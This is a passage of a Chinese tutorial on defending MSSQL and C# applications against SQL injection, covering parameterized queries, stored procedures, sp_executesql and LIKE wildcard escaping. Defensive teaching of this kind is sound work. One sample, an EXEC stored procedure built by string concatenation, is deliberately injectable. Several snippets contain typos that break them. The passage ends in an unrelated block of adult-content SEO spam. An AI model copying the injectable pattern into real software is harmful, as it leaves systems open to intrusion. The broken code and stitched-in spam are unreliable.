          b) 無法滿足需求:用戶本來就想發(fā)表包含這些過濾字符的數(shù)據(jù)。

          c) 執(zhí)行拼接的SQL浪費大量緩存空間來存儲只用一次的查詢計劃。服務(wù)器的物理內(nèi)存有限,SQLServer的緩存空間也有限。有限的空間應(yīng)該被充分利用。

          2) 參數(shù)化查詢(Parameterized Query)

          a) 檢查客戶端腳本,類型檢查,長度驗證,使用枚舉,明確的關(guān)鍵字過濾這些操作也是需要的。他們能盡早檢查出數(shù)據(jù)的有效性。

          b) 參數(shù)化查詢原理:在使用參數(shù)化查詢的情況下,數(shù)據(jù)庫服務(wù)器不會將參數(shù)的內(nèi)容視為SQL指令的一部份來處理,而是在數(shù)據(jù)庫完成 SQL 指令的編譯后,才套用參數(shù)運行,因此就算參數(shù)中含有具有損的指令,也不會被數(shù)據(jù)庫所運行。

          c) 所以在實際開發(fā)中,入口處的安全檢查是必要的,參數(shù)化查詢應(yīng)作為最后一道安全防線。

          優(yōu)點:

          ? 防止SQL注入(使單引號、分號、注釋符、xp_擴展函數(shù)、拼接SQL語句、EXEC、SELECT、UPDATE、DELETE等SQL指令無效化)

          ? 參數(shù)化查詢能強制執(zhí)行類型和長度檢查。

          ? 在MSSQL中生成并重用查詢計劃,從而提高查詢效率(執(zhí)行一條SQL語句,其生成查詢計劃將消耗大于50%的時間)

          缺點:

          ? 不是所有數(shù)據(jù)庫都支持參數(shù)化查詢。目前Access、SQL Server、MySQL、SQLite、Oracle等常用數(shù)據(jù)庫支持參數(shù)化查詢。

          疑問:參數(shù)化如何“批量更新”數(shù)據(jù)庫。

          a) 通過在參數(shù)名上增加一個計數(shù)來區(qū)分開多個參數(shù)化語句拼接中的同名參數(shù)。

          EG:

          StringBuilder sqlBuilder=new StringBuilder(512);Int count=0;For(循環(huán)){sqlBuilder.AppendFormat(“UPDATE login SET password=@password{0} WHERE username=@userName{0}”,count.ToString());SqlParameter para=new SqlParamter(){ParameterName=@password+count.ToString()}……Count++;}


          b) 通過MSSQL 2008的新特性:表值參數(shù),將C#中的整個表當參數(shù)傳遞給存儲過程,由SQL做邏輯處理。注意C#中參數(shù)設(shè)置parameter.SqlDbType=System.Data.SqlDbType.Structured; 詳細請查看……

          疑慮:有部份的開發(fā)人員可能會認為使用參數(shù)化查詢,會讓程序更不好維護,或者在實現(xiàn)部份功能上會非常不便,然而,使用參數(shù)化查詢造成的額外開發(fā)成本,通常都遠低于因為SQL注入攻擊漏洞被發(fā)現(xiàn)而遭受攻擊,所造成的重大損失。

          另外:想驗證重用查詢計劃的同學,可以使用下面兩段輔助語法

          --清空緩存的查詢計劃DBCC FREEPROCCACHEGO--查詢緩存的查詢計劃SELECT stats.execution_count AS cnt, p.size_in_bytes AS [size], [sql].[text] AS [plan_text] FROM sys.dm_exec_cached_plans pOUTER APPLY sys.dm_exec_sql_text (p.plan_handle) sqlJOIN sys.dm_exec_query_stats stats ON stats.plan_handle=p.plan_handleGO


          3) 參數(shù)化查詢示例

          效果如圖:

          參數(shù)化關(guān)鍵代碼:

          Private bool ProtectLogin(string userName, string password){ SqlParameter[] parameters=new SqlParameter[] { new SqlParameter{ParameterName="@UserName",SqlDbType=SqlDbType.NVarChar,Size=10,Value=userName}, new SqlParameter{ParameterName="@Password",SqlDbType=SqlDbType.VarChar,Size=20,Value=password} }; int count=(int)SqlHelper.Instance.ExecuteScalar ("SELECT COUNT(*) FROM Login WHERE UserName=@UserName AND Password=@password", parameters); return count > 0 ? true : false;}


          5. 存儲過程

          存儲過程(Stored Procedure)是在大型數(shù)據(jù)庫系統(tǒng)中,一組為了完成特定功能的SQL 語句集,經(jīng)編譯后存儲在數(shù)據(jù)庫中,用戶通過指定存儲過程的名字并給出參數(shù)(如果該存儲過程帶有參數(shù))來執(zhí)行它。

          優(yōu)點:

          a) 安全性高,防止SQL注入并且可設(shè)定只有某些用戶才能使用指定存儲過程。

          b) 在創(chuàng)建時進行預(yù)編譯,后續(xù)的調(diào)用不需再重新編譯。

          c) 可以降低網(wǎng)絡(luò)的通信量。存儲過程方案中用傳遞存儲過程名來代替SQL語句。

          缺點:

          a) 非應(yīng)用程序內(nèi)聯(lián)代碼,調(diào)式麻煩。

          b) 修改麻煩,因為要不斷的切換開發(fā)工具。(不過也有好的一面,一些易變動的規(guī)則做到存儲過程中,如變動就不需要重新編譯應(yīng)用程序)

          c) 如果在一個程序系統(tǒng)中大量的使用存儲過程,到程序交付使用的時候隨著用戶需求的增加會導(dǎo)致數(shù)據(jù)結(jié)構(gòu)的變化,接著就是系統(tǒng)的相關(guān)問題了,最后如果用戶想維護該系統(tǒng)可以說是很難很難(eg:沒有VS的查詢功能)。

          關(guān)鍵代碼為:

          cmd.CommandText=procName;// 傳遞存儲過程名cmd.CommandType=CommandType.StoredProcedure;// 標識解析為存儲過程


          如果在存儲過程中SQL語法很復(fù)雜需要根據(jù)邏輯進行拼接,這時是否還具有放注入的功能?

          答:MSSQL中可以通過 EXEC 和sp_executesql動態(tài)執(zhí)行拼接的sql語句,但sp_executesql支持替換 Transact-SQL 字符串中指定的任何參數(shù)值, EXECUTE 語句不支持。所以只有使用sp_executesql方式才能啟到參數(shù)化防止SQL注入。

          關(guān)鍵代碼:

          a) sp_executesql

          CREATE PROCEDURE PROC_Login_executesql(@userNamenvarchar(10),@password nvarchar(10),@count int OUTPUT)ASBEGIN DECLARE s nvarchar(1000);set @s=N'SELECT @count=COUNT(*) FROM Login WHERE UserName=@userName AND Password=@password'; EXEC sp_executesql @s,N'@userName nvarchar(10),@password nvarchar(10),@count int output',@userName=@userName,@password=@password,@count=@count outputEND


          b) EXECUTE(注意sql中拼接字符,對于字符參數(shù)需要額外包一層單引號,需要輸入兩個單引號來標識sql中的一個單引號)

          CREATE PROCEDURE PROC_Login_EXEC(@userNamenvarchar(10),@password varchar(20))ASBEGIN DECLARE s nvarchar(1000);set @s='SELECT @count=COUNT(*) FROM Login WHERE UserName='''+CAST(@userName AS NVARCHAR(10))+''' AND Password='''+CAST(@password AS VARCHAR(20))+'''';EXEC('DECLARE @count int;' +@s+'select @count');END


          注入截圖如下:



          6. 專業(yè)的SQL注入工具及防毒軟件


          情景1

          A:“丫的,又中毒了……”

          B:“我看看,你這不是裸機在跑嗎?”

          電腦上至少也要裝一款殺毒軟件或木馬掃描軟件,這樣可以避免一些常見的侵入。比如開篇提到的SQL創(chuàng)建windows帳戶,就會立馬報出警報。

          情景2

          A:“終于把網(wǎng)站做好了,太完美了,已經(jīng)檢查過沒有漏洞了!”

          A:“網(wǎng)站怎么被黑了,怎么入侵的???”

          公司或個人有財力的話還是有必要購買一款專業(yè)SQL注入工具來驗證下自己的網(wǎng)站,這些工具畢竟是專業(yè)的安全人員研發(fā),在安全領(lǐng)域都有自己的獨到之處。

          7. 額外小知識:LIKE中的通配符


          盡管這個不屬于SQL注入,但是其被惡意使用的方式是和SQL注入類似的。

          %包含零個或多個字符的任意字符串。_任何單個字符。[]指定范圍(例如 [a-f])或集合(例如 [abcdef])內(nèi)的任何單個字符。[^]不在指定范圍(例如 [^a – f])或集合(例如 [^abcdef])內(nèi)的任何單個字符。


          在模糊查詢LIKE中,對于輸入數(shù)據(jù)中的通配符必須轉(zhuǎn)義,否則會造成客戶想查詢包含這些特殊字符的數(shù)據(jù)時,這些特殊字符卻被解析為通配符。不與 LIKE 一同使用的通配符將解釋為常量而非模式。

          注意使用通配符的索引性能問題:

          a) like的第一個字符是‘%’或‘_’時,為未知字符不會使用索引, sql會遍歷全表。

          b) 若通配符放在已知字符后面,會使用索引。

          網(wǎng)上有這樣的說法,不過我在MSSQL中使用 ctrl+L 執(zhí)行語法查看索引使用情況卻都沒有使用索引,可能在別的數(shù)據(jù)庫中會使用到索引吧……

          截圖如下:


          有兩種將通配符轉(zhuǎn)義為普通字符的方法:

          1) 使用ESCAPE關(guān)鍵字定義轉(zhuǎn)義符(通用)

          在模式中,當轉(zhuǎn)義符置于通配符之前時,該通配符就解釋為普通字符。例如,要搜索在任意位置包含字符串 5% 的字符串,請使用:

          WHERE ColumnA LIKE ‘%5/%%’ ESCAPE ‘/’

          2) 在方括號 ([ ]) 中只包含通配符本身,或要搜索破折號(-) 而不是用它指定搜索范圍,請將破折號指定為方括號內(nèi)的第一個字符。EG:

          所以,進行過輸入?yún)?shù)的關(guān)鍵字過濾后,還需要做下面轉(zhuǎn)換確保LIKE的正確執(zhí)行


          主站蜘蛛池模板: 亚洲丰满熟女一区二区哦| 日本中文字幕在线视频一区| 国产一区在线视频观看| 国产一区二区三区91| 日本无卡码免费一区二区三区| 国产在线精品一区二区在线观看| 日本一区二区三区在线看| 日本片免费观看一区二区| 国产亚洲一区二区三区在线| 精品乱子伦一区二区三区高清免费播放| 亚洲色无码专区一区| 成人免费观看一区二区| 91视频一区二区| 亚洲一区综合在线播放| 久久4k岛国高清一区二区| 久草新视频一区二区三区| 国产亚洲情侣一区二区无码AV| 四虎永久在线精品免费一区二区 | 国产一区在线视频| 国产一区韩国女主播| 日本一区二区三区日本免费| 无码人妻一区二区三区av| 伊人无码精品久久一区二区| 亚洲视频一区二区三区| 亚洲综合一区国产精品| 亚洲AV无码一区二区三区电影| 无码人妻一区二区三区免费手机| 国产乱码一区二区三区四| 亚洲日韩精品国产一区二区三区| 在线观看一区二区三区av| 大香伊蕉日本一区二区| 卡通动漫中文字幕第一区| 一区二区三区免费在线视频| 亚洲中文字幕丝袜制服一区| 香蕉免费看一区二区三区| 国产伦精品一区二区三区| 乱精品一区字幕二区| 亚洲一区二区三区成人网站| 国产裸体舞一区二区三区| 高清一区二区三区| 亚洲爆乳精品无码一区二区三区|